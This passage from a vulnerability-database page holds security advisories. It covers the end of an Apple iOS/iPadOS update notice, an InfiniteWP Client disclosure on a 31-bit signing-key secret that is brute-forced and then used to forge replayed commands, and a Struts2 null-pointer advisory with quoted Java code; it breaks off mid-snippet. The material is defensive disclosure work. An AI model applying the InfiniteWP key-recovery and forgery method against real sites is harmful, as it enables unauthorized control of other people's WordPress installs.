management.\nCVE-2026-113964: an anonymous researcher\n\nMessages\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: A remote attacker may be able to join an iMessage group chat and\nreceive its messages\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-113961: an anonymous researcher\n\nMessages\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: A user added to an iMessage group may be able to access messages\nsent before they joined\nDescription: This issue was addressed by removing the vulnerable code.\nCVE-2026-113960: an anonymous researcher\n\nrapportd\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 4th generation\nand later, iPad Pro 11-inch 2nd generation and later, iPad Air 4th\ngeneration and later, iPad 9th generation and later, and iPad mini 6th\ngeneration and later\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nThis update is available through iTunes and Software Update on your iOS\ndevice, and will not appear in your computer\u0027s Software Update\napplication, or in the Apple Downloads site. Make sure you have an\nInternet connection and have installed the latest version of iTunes from\nhttps://www.apple.com/itunes/\n\niTunes and Software Update on the device will automatically check\nApple\u0027s update server on its weekly schedule. When an update is\ndetected, it is downloaded and the option to be installed is presented\nto the user when the iOS device is docked. We recommend applying the\nupdate immediately if possible. Selecting Don\u0027t Install will present the\noption the next time you connect your iOS device.\n\nThe automatic update process may take up to a week depending on the\nday that iTunes or the device checks for updates. You may manually\nobtain the update via the Check for Updates button within iTunes, or\nthe Software Update on your device.\n\nTo check that the iPhone, iPod touch, or iPad has been updated:\n\n* Navigate to Settings\n* Select General\n* Select About.\n* The version after applying this update will be \"iOS 27.2.1 and iPadOS\n27.2.1\".\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryO+oACgkQ4Ifiq8DH\n7PVB0w/7B8C0dM+CLasYq4ddK2/zJz112cQCiFR0fOAj/BENZaB+ZBJleCR+2AB5\nkOrdaYZwDRaUlts6Ceap8BCUQZN1mt9pFiFZHnmQHJgZvhz4Sz9LGsJBG5mlDsXQ\n65AlLTHKhxxoeH2HsMYCvzDyvMpnfPu7PgKpMdtOVyzglwVFbJqZHfKzLuoc9NFm\ndVRGkThmvaKfYUWy8zmoBF2sWiFA+bbYiaJkeqsp04QgDJpipLZi48kvrSbDxWvh\nuWGb7df/NA2TB6v8f0ZNZizlN3x+e4eADNPIBsC/Nn0/J/XK80s702Rk/YzVfkOr\nwd0ylLy23LbB3ygneEKUlEmE7L5OMuJd9Q8y5rlOU600tRqpv91Koft1OzNoT8p9\nfU34EAtzmZH4kpoAsFB65JTJ1ET380p92ZUMJjJbcAWcb4IyFacZEWpn1QDQlBkX\nmStLLLW8fxEHW0BuaaDY9i1Kx3zXbtd7iBrP8LTW7cVToW1l5V3Q1uhk5xkdNxqJ\ntBKDiVy4z6xZvrcNXZmk98HA4mDbYAMJlR6YOVtktgD8oNuawjOlyi/EHmVlPZSe\ng+qYn2UcZruJricFne3sqQE9hSqjHiW8mhIQQgJ+tjtAmHc6eEKNJxkD6fNfDTYk\nOrlKQbaUJLZSU1H/97o85ryFB2capJ8atBl8t/VFxwURU60J/uI=\n=73gd\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:17Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/24"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/149715"
        },
        {
          "url": "https://www.apple.com/itunes/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-11-09-2026-1 iOS 27.2.1 and iPadOS 27.2.1",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-111497",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113960",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113961",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113963",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113965",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113968",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113970",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0560",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/24",
            "automated": true,
            "contentSha256": "2eeaf9c6383a864dc3dbccc6bd696602dedac51acadeb5080c69517903235311",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-10T00:04:05Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0560"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:17Z",
    "dateUpdated": "2026-11-13T02:14:17Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0560"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0559

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
InfiniteWP Client: the NOSSL signing key has 31 bits of secret — recovered live in 291.9 seconds
Summary
InfiniteWP Client 1.13.10 — a WordPress management plugin on roughly 200,000 installs — speaks to its management panel through two authentication branches. The strong branch verifies an RSA signature. The other, NOSSL, is selected by the enrolling panel setting one request parameter, on hosts fully capable of RSA. Once its key is stored, the selection is permanent and the RSA branch is unreachable. The stored key is generated as: md5(base64_encode(panel_public_key) . rand(0, getrandmax())) The public key is public. The secret is a single rand() result: at most 2^31 values. The authentication value signs only the action and message ID — parameters are never signed — and message-ID ordering is enforced only on the auto_login path, so a captured request replays with altered parameters. Live proof, against our own instance only: from one captured get_stats request and the panel's public key, the key was recovered offline in 291.9 seconds (~7.36M candidates/sec), byte-identical to the site-issued key. A forged maintain_site command signed with the recovered key was accepted and wrote database options that had not existed before. The key never rotates: recover it once, forge forever. Scope, stated plainly: every shipped copy carries the construction; exploitation requires a NOSSL-enrolled site. The NOSSL-enrolled share of the 200,000 installs is not externally measurable and is not claimed here. Paper: https://archive.org/details/knell-thirty-one-bits Mirror: https://github.com/the-knell/Thirty-One-Bits Key: 133883AB9F6EDE5B9BA6B82E27BEDAF0CE152F25 (knell) Verify: gpg --import knell-public.asc, then gpg --verify paper-infinitewp-FINAL-2026-11-04.md.asc — knell More, signed and timestamped: https://github.com/the-knell _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Infinitewp Client the Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Client the",
          "vendor": "Infinitewp",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "theknell--- via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "InfiniteWP Client 1.13.10 \u2014 a WordPress management plugin on roughly\n200,000 installs \u2014 speaks to its management panel through two\nauthentication branches. The strong branch verifies an RSA\nsignature. The other, NOSSL, is selected by the enrolling panel\nsetting one request parameter, on hosts fully capable of RSA. Once\nits key is stored, the selection is permanent and the RSA branch is\nunreachable.\n\nThe stored key is generated as:\n\nmd5(base64_encode(panel_public_key) . rand(0, getrandmax()))\n\nThe public key is public. The secret is a single rand() result: at\nmost 2^31 values. The authentication value signs only the action\nand message ID \u2014 parameters are never signed \u2014 and message-ID\nordering is enforced only on the auto_login path, so a captured\nrequest replays with altered parameters.\n\nLive proof, against our own instance only: from one captured\nget_stats request and the panel\u0027s public key, the key was recovered\noffline in 291.9 seconds (~7.36M candidates/sec), byte-identical to\nthe site-issued key. A forged maintain_site command signed with the\nrecovered key was accepted and wrote database options that had not\nexisted before. The key never rotates: recover it once, forge\nforever.\n\nScope, stated plainly: every shipped copy carries the construction;\nexploitation requires a NOSSL-enrolled site. The NOSSL-enrolled\nshare of the 200,000 installs is not externally measurable and is\nnot claimed here.\n\nPaper: https://archive.org/details/knell-thirty-one-bits\nMirror: https://github.com/the-knell/Thirty-One-Bits\nKey: 133883AB9F6EDE5B9BA6B82E27BEDAF0CE152F25 (knell)\n\nVerify: gpg --import knell-public.asc, then\ngpg --verify paper-infinitewp-FINAL-2026-11-04.md.asc\n\n\u2014 knell\n\nMore, signed and timestamped: https://github.com/the-knell\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:17Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/22"
        },
        {
          "url": "https://archive.org/details/knell-thirty-one-bits"
        },
        {
          "url": "https://github.com/the-knell"
        },
        {
          "url": "https://github.com/the-knell/Thirty-One-Bits"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "InfiniteWP Client: the NOSSL signing key has 31 bits of secret \u2014 recovered live in 291.9 seconds",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0559",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/22",
            "automated": true,
            "contentSha256": "ffbf24064fcb8b37240814c8af2947df39fc2eb5723a22882ef55cfd7f375cb6",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-06T18:31:37Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:17Z",
    "dateUpdated": "2026-11-13T02:14:17Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0559"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0558

Vulnerability from gna-1988 – Published: 2026-11-13 01:56 – Updated: 2026-11-13 01:56
VLAI
Title
Apache Struts2 Core and Plugins <=7.4.0 Multiple Null Pointer Exceptions
Summary
The Apache Struts2 Core, Apache Struts2 Convention Plugin, Apache Struts2 REST plugin, and the Apache Struts2 JavaTemplates plugin, Apache Struts2 Tiles plugin, etc., all versions <=7.4.0/<=6.12.0/etc., dereference or iterate over data that can be non-null -- such as an unmapped configuration lookup, an absent collection element, a failed backing-store lookup, an unselected optional upload field, or an unresolved expression-language property, a security pattern-matching call invoked with no candidate expression to test, or a missing bundle entry's substituted default message -- without first checking whether that value is `null`. Impact Any caller -- an attacker or an entirely ordinary user -- who executes a code path in which the underlying value is absent or `null` (e.g., an incomplete configuration hierarchy, a missing or empty form field, a non-existent lookup key, an unselected optional upload, or application data that simply does not expose the expected property) will cause an uncaught `NullPointerException` to bubble up the stack, resulting in a `500 Internal Server Error`. This may result in information disclosure -- either directly or otherwise - and, like all `500` responses, signals to malicious entities that the information system contains significant bugs, errors, and unintended side effects brought about by unexpected input and edge cases. While these may seem to merely be "reliability bugs", they undermine the availability of systems that rely upon the underlying code, especially if the victim is on behind a load balancer or other front-end system that sees a `500 Internal Server Error` as a sign of an unhealthy environment and tears it down. Moreover, it is not inconceivable that a configuration file or variable is non-null in development, staging, or elsewhere but not in production, resulting in unexpected exceptions and other issues that either were not identified during testing or could not have been identified in testing. It should also be noted that these kinds of issues are examples of poor coding standards, testing, and weak peer-review processes. Examples As with many of the previously released advisories, there are many instances of this, so we will limit it to a subset of instances from which the others may be derived -- again, for the sake of brevity and because it simply isn't our job to enumerate all instances of a single vulnerable (like with the Struts2 insecure JSON deserialisation pathways where we made clear the issue, mechanisms, and proof of concept while also citing sample responsible code and providing detailed analysis thereof). Please excuse us for our terseness on this one -- we have written up many of these, as of late, and the rather glaring theme and sheer number of issues makes such write-ups time consuming (old code or not, all of these are things that have been well-documented, frowned upon coding paradigms and constructs for literal decades, long before any of the code in question was written) -- and this is all without getting into the more "juicy" findings. RangeValidatorSupport -- Null Elements `RangeValidatorSupport.validate(Object)`, in `struts2-core`, only `null`-checks the top-level array- or `Collection`-typed field before iterating over the elements and passing each one to `validateValue(Object, Comparable, T, T)`, which can call to `value.compareTo(min)` and `value.compareTo(max)` -- so a single `null` element inside an otherwise non-`null` collection will cause a `NullPointerException`. ```java public void validate(Object object) throws ValidationException { Object obj = getFieldValue(getFieldName(), object); // if there is no value - don't do comparison // if a value is required, a required validator should be added to the field if (obj == null) { return; } T min = getMin(); T max = getMax(); if (obj.getClass().isArray()) { Object[] values = (Object[]) obj; for (Object objValue : values) { validateValue(object, (Comparable<T>) objValue, min, max); } } else if (Collection.class.isAssignableFrom(obj.getClass())) { Collection<?> values = (Collection<?>) obj; for (Object objValue : values) { validateValue(object, (Comparable<T>) objValue, min, max); } } else { validateValue(object, (Comparable<T>) obj, min, max); } } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, lines 46-71 ```java protected void validateValue(Object object, Comparable<T> value, T min, T max) { setCurrentValue(value); // only check for a minimum value if the min parameter is set if ((min != null) && (value.compareTo(min) < 0)) { addFieldError(getFieldName(), object); } // only check for a maximum value if the max parameter is set if ((max != null) && (value.compareTo(max) > 0)) { addFieldError(getFieldName(), object); } setCurrentValue(null); } ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, lines 73-87, showing the unconditional `value.compareTo` dereference DoubleRangeValidator -- Null Elements `DoubleRangeFieldValidator`, in `struts2-core`, does not extend `RangeValidatorSupport<T>` the way that `IntRangeFieldValidator`, `LongRangeFieldValidator`, `ShortRangeFieldValidator`, and `LocalDateRangeFieldValidator` all do -- it implements its own `validate(Object)`, `validateCollection(Double, Double, Double, Double, Collection)`, and `validateValue(Object, Double, Double, Double, Double)` methods -- and contains the identical problematic code but under the `validate` to `validateCollection` pathway, which, again, only performs a nullness check on the top-level object, but, this time, the exception occurs when `validateValue` unconditionally calls `Object.toString()` inside of a try-catch block that only handles `NumberFormatException`. ```java public void validate(Object object) throws ValidationException { String fieldName = getFieldName(); Object obj = this.getFieldValue(fieldName, object); if (obj == null) { return; } Double maxInclusiveToUse = getMaxInclusive(); Double minInclusiveToUse = getMinInclusive(); Double maxExclusiveToUse = getMaxExclusive(); Double minExclusiveToUse = getMinExclusive(); if (obj.getClass().isArray()) { Object[] values = (Object[]) obj; validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, Arrays.asList(values)); } else if (Collection.class.isAssignableFrom(obj.getClass())) { Collection values = (Collection) obj; validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, values); } else { validateValue(obj, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse); } } protected void validateCollection(Double maxInclusiveToUse, Double minInclusiveToUse, Double maxExclusiveToUse, Double minExclusiveToUse, Collection values) { for (Object objValue : values) { validateValue(objValue, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse); } } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 109-136, showing the top-level-only null check at line 112 and `validateCollection()`'s per-element iteration with no null check ```java protected void validateValue(Object obj, Double maxInclusiveToUse, Double minInclusiveToUse, Double maxExclusiveToUse, Double minExclusiveToUse) { try { setCurrentValue(obj); Double value = Double.valueOf(obj.toString()); if ((maxInclusiveToUse != null && value.compareTo(maxInclusiveToUse) > 0) || (minInclusiveToUse != null && value.compareTo(minInclusiveToUse) < 0) || (maxExclusiveToUse != null && value.compareTo(maxExclusiveToUse) >= 0) || (minExclusiveToUse != null && value.compareTo(minExclusiveToUse) <= 0)) { addFieldError(getFieldName(), value); } } catch (NumberFormatException e) { LOG.debug("Cannot validate value {} - not a Double", obj, e); } finally { setCurrentValue(null); } } ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 138-153, showing the unconditional `obj.toString()` call and the `catch` clause that handles only `NumberFormatException` FileUploadAction/MultipleFileUploadUsingArrayAction -- Nullable Optional Upload `FileUploadAction.getUploadedFile()` and `MultipleFileUploadUsingArrayAction.upload()`, both in `struts2-showcase`, dereference or iterate over their respective `uploadedFile`/`uploadedFiles` fields without a nullness check, but `ActionFileUploadInterceptor`, in `struts2-core`, only ever assigns either field when at least one file was accepted from the multipart request -- leaving both fields `null` whenever the form is submitted without a file having been selected. Importantly, `struts2-showcase` is "sample code" and contains cross-site scripting (XSS) and various other issues (OGNL injection, of course), but we felt it important to show the code so that others are aware of how the interceptor operates and to not use the sample code as any kind of a guide (for many reasons). ```java public Object getUploadedFile() { return uploadedFile.getContent(); } ``` Code snippet from `struts2-showcase`'s apps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/FileUploadAction.java, lines 66-68 ```java public String upload() throws Exception { System.out.println("\n\n upload2"); System.out.println("files:"); for (UploadedFile u : uploadedFiles) { System.out.println("*** " + u + "\t" + u.length()); } ``` Snippet from `struts2-showcase`'s apps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/MultipleFileUploadUsingArrayAction.java, lines 41-45 ```java if (acceptedFiles.isEmpty()) { LOG.debug("No files have been uploaded/accepted"); } else { LOG.debug("Passing: {} uploaded file(s) to action", acceptedFiles.size()); action.withUploadedFiles(acceptedFiles); } // invoke action return invocation.invoke(); ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/ActionFileUploadInterceptor.java, lines 278-286, showing both fields left unset whenever no files are accepted SelectHandle -- Option Group Rendering Dereferences an Unresolved Lookup `SelectHandler.writeOptionGroup()`, in `struts2-javatemplates-plugin`, calls `toString()` directly on the object returned by a value-stack lookup for a configured list-key or list-value property without a nullness check, even though the sibling top-level list-rendering code in the very same class already null-checks the identical lookup before calling `toString()` on it. ```java Object tmpKey = stack.findValue(listKey != null ? listKey : "top"); String tmpKeyStr = StringUtils.defaultString(tmpKey.toString()); Object tmpValue = stack.findValue(listValue != null ? listValue : "top"); String tmpValueStr = StringUtils.defaultString(tmpValue.toString()); ``` Code snippet from `struts2-javatemplates-plugin`'s plugins/javatemplates/src/main/java/org/apache/struts2/views/java/simple/SelectHandler.java, lines 135-138 ```java //key Object itemKey = findValue(listKey != null ? listKey : "top");
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Core Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Apache Struts2 Core, Apache Struts2 Convention Plugin, Apache Struts2 REST plugin, and the Apache Struts2 \nJavaTemplates plugin, Apache Struts2 Tiles plugin, etc., all versions \u003c=7.4.0/\u003c=6.12.0/etc., dereference or iterate \nover data that can be non-null -- such as an unmapped configuration lookup, an absent collection element, a failed \nbacking-store lookup, an unselected optional upload field, or an unresolved expression-language property, a security \npattern-matching call invoked with no candidate expression to test, or a missing bundle entry\u0027s substituted default \nmessage -- without first checking whether that value is `null`.\n\nImpact\nAny caller -- an attacker or an entirely ordinary user -- who executes a code path in which the underlying value is \nabsent or `null` (e.g., an incomplete configuration hierarchy, a missing or empty form field, a non-existent lookup \nkey, an unselected optional upload, or application data that simply does not expose the expected property) will cause \nan uncaught `NullPointerException` to bubble up the stack, resulting in a `500 Internal Server Error`.  This may result \nin information disclosure -- either directly or otherwise - and, like all `500` responses, signals to malicious \nentities that the information system contains significant bugs, errors, and unintended side effects brought about by \nunexpected input and edge cases.\n\nWhile these may seem to merely be \"reliability bugs\", they undermine the availability of systems that rely upon the \nunderlying code, especially if the victim is on behind a load balancer or other front-end system that sees a `500 \nInternal Server Error` as a sign of an unhealthy environment and tears it down.  Moreover, it is not inconceivable that \na configuration file or variable is non-null in development, staging, or elsewhere but not in production, resulting in \nunexpected exceptions and other issues that either were not identified during testing or could not have been identified \nin testing.  It should also be noted that these kinds of issues are examples of poor coding standards, testing, and \nweak peer-review processes.\n\nExamples\nAs with many of the previously released advisories, there are many instances of this, so we will limit it to a subset \nof instances from which the others may be derived -- again, for the sake of brevity and because it simply isn\u0027t our job \nto enumerate all instances of a single vulnerable (like with the Struts2 insecure JSON deserialisation pathways where \nwe made clear the issue, mechanisms, and proof of concept while also citing sample responsible code and providing \ndetailed analysis thereof).  Please excuse us for our terseness on this one -- we have written up many of these, as of \nlate, and the rather glaring theme and sheer number of issues makes such write-ups time consuming (old code or not, all \nof these are things that have been well-documented, frowned upon coding paradigms and constructs for literal decades, \nlong before any of the code in question was written) -- and this is all without getting into the more \"juicy\" findings.\n\nRangeValidatorSupport -- Null Elements\n`RangeValidatorSupport.validate(Object)`, in `struts2-core`, only `null`-checks the top-level array- or \n`Collection`-typed field before iterating over the elements and passing each one to `validateValue(Object, Comparable, \nT, T)`, which can call to `value.compareTo(min)` and `value.compareTo(max)` -- so a single `null` element inside an \notherwise non-`null` collection will cause a `NullPointerException`.\n\n```java\npublic void validate(Object object) throws ValidationException {\n    Object obj = getFieldValue(getFieldName(), object);\n\n    // if there is no value - don\u0027t do comparison\n    // if a value is required, a required validator should be added to the field\n    if (obj == null) {\n        return;\n    }\n\n    T min = getMin();\n    T max = getMax();\n\n    if (obj.getClass().isArray()) {\n        Object[] values = (Object[]) obj;\n        for (Object objValue : values) {\n            validateValue(object, (Comparable\u003cT\u003e) objValue, min, max);\n        }\n    } else if (Collection.class.isAssignableFrom(obj.getClass())) {\n        Collection\u003c?\u003e values = (Collection\u003c?\u003e) obj;\n        for (Object objValue : values) {\n            validateValue(object, (Comparable\u003cT\u003e) objValue, min, max);\n        }\n    } else {\n        validateValue(object, (Comparable\u003cT\u003e) obj, min, max);\n    }\n}\n```\nCode snippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, lines 46-71\n\n```java\nprotected void validateValue(Object object, Comparable\u003cT\u003e value, T min, T max) {\n    setCurrentValue(value);\n\n    // only check for a minimum value if the min parameter is set\n    if ((min != null) \u0026\u0026 (value.compareTo(min) \u003c 0)) {\n        addFieldError(getFieldName(), object);\n    }\n\n    // only check for a maximum value if the max parameter is set\n    if ((max != null) \u0026\u0026 (value.compareTo(max) \u003e 0)) {\n        addFieldError(getFieldName(), object);\n    }\n\n    setCurrentValue(null);\n}\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/validator/validators/RangeValidatorSupport.java, \nlines 73-87, showing the unconditional `value.compareTo` dereference\n\nDoubleRangeValidator -- Null Elements\n`DoubleRangeFieldValidator`, in `struts2-core`, does not extend `RangeValidatorSupport\u003cT\u003e` the way that \n`IntRangeFieldValidator`, `LongRangeFieldValidator`, `ShortRangeFieldValidator`, and `LocalDateRangeFieldValidator` all \ndo -- it implements its own `validate(Object)`, `validateCollection(Double, Double, Double, Double, Collection)`, and \n`validateValue(Object, Double, Double, Double, Double)` methods -- and contains the identical problematic code but \nunder the `validate` to `validateCollection` pathway, which, again, only performs a nullness check on the top-level \nobject, but, this time, the exception occurs when `validateValue` unconditionally calls `Object.toString()` inside of a \ntry-catch block that only handles `NumberFormatException`.\n\n```java\n    public void validate(Object object) throws ValidationException {\n        String fieldName = getFieldName();\n        Object obj = this.getFieldValue(fieldName, object);\n        if (obj == null) {\n            return;\n        }\n\n        Double maxInclusiveToUse = getMaxInclusive();\n        Double minInclusiveToUse = getMinInclusive();\n        Double maxExclusiveToUse = getMaxExclusive();\n        Double minExclusiveToUse = getMinExclusive();\n\n        if (obj.getClass().isArray()) {\n            Object[] values = (Object[]) obj;\n            validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, \nArrays.asList(values));\n        } else if (Collection.class.isAssignableFrom(obj.getClass())) {\n            Collection values = (Collection) obj;\n            validateCollection(maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse, values);\n        } else {\n            validateValue(obj, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);\n        }\n    }\n\n    protected void validateCollection(Double maxInclusiveToUse, Double minInclusiveToUse, Double maxExclusiveToUse, \nDouble minExclusiveToUse, Collection values) {\n        for (Object objValue : values) {\n            validateValue(objValue, maxInclusiveToUse, minInclusiveToUse, maxExclusiveToUse, minExclusiveToUse);\n        }\n    }\n```\nCode snippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 109-136, showing the \ntop-level-only null check at line 112 and `validateCollection()`\u0027s per-element iteration with no null check\n\n```java\n    protected void validateValue(Object obj, Double maxInclusiveToUse, Double minInclusiveToUse, Double \nmaxExclusiveToUse, Double minExclusiveToUse) {\n        try {\n            setCurrentValue(obj);\n            Double value = Double.valueOf(obj.toString());\n            if ((maxInclusiveToUse != null \u0026\u0026 value.compareTo(maxInclusiveToUse) \u003e 0) ||\n                    (minInclusiveToUse != null \u0026\u0026 value.compareTo(minInclusiveToUse) \u003c 0) ||\n                    (maxExclusiveToUse != null \u0026\u0026 value.compareTo(maxExclusiveToUse) \u003e= 0) ||\n                    (minExclusiveToUse != null \u0026\u0026 value.compareTo(minExclusiveToUse) \u003c= 0)) {\n                addFieldError(getFieldName(), value);\n            }\n        } catch (NumberFormatException e) {\n            LOG.debug(\"Cannot validate value {} - not a Double\", obj, e);\n        } finally {\n            setCurrentValue(null);\n        }\n    }\n```\nSnippet from `struts2-core`\u0027s \ncore/src/main/java/org/apache/struts2/validator/validators/DoubleRangeFieldValidator.java, lines 138-153, showing the \nunconditional `obj.toString()` call and the `catch` clause that handles only `NumberFormatException`\n\nFileUploadAction/MultipleFileUploadUsingArrayAction -- Nullable Optional Upload\n`FileUploadAction.getUploadedFile()` and `MultipleFileUploadUsingArrayAction.upload()`, both in `struts2-showcase`, \ndereference or iterate over their respective `uploadedFile`/`uploadedFiles` fields without a nullness check, but \n`ActionFileUploadInterceptor`, in `struts2-core`, only ever assigns either field when at least one file was accepted \nfrom the multipart request -- leaving both fields `null` whenever the form is submitted without a file having been \nselected.  Importantly, `struts2-showcase` is \"sample code\" and contains cross-site scripting (XSS) and various other \nissues (OGNL injection, of course), but we felt it important to show the code so that others are aware of how the \ninterceptor operates and to not use the sample code as any kind of a guide (for many reasons).\n\n```java\n    public Object getUploadedFile() {\n        return uploadedFile.getContent();\n    }\n```\nCode snippet from `struts2-showcase`\u0027s \napps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/FileUploadAction.java, lines 66-68\n\n```java\n    public String upload() throws Exception {\n        System.out.println(\"\\n\\n upload2\");\n        System.out.println(\"files:\");\n        for (UploadedFile u : uploadedFiles) {\n            System.out.println(\"*** \" + u + \"\\t\" + u.length());\n        }\n```\nSnippet from `struts2-showcase`\u0027s 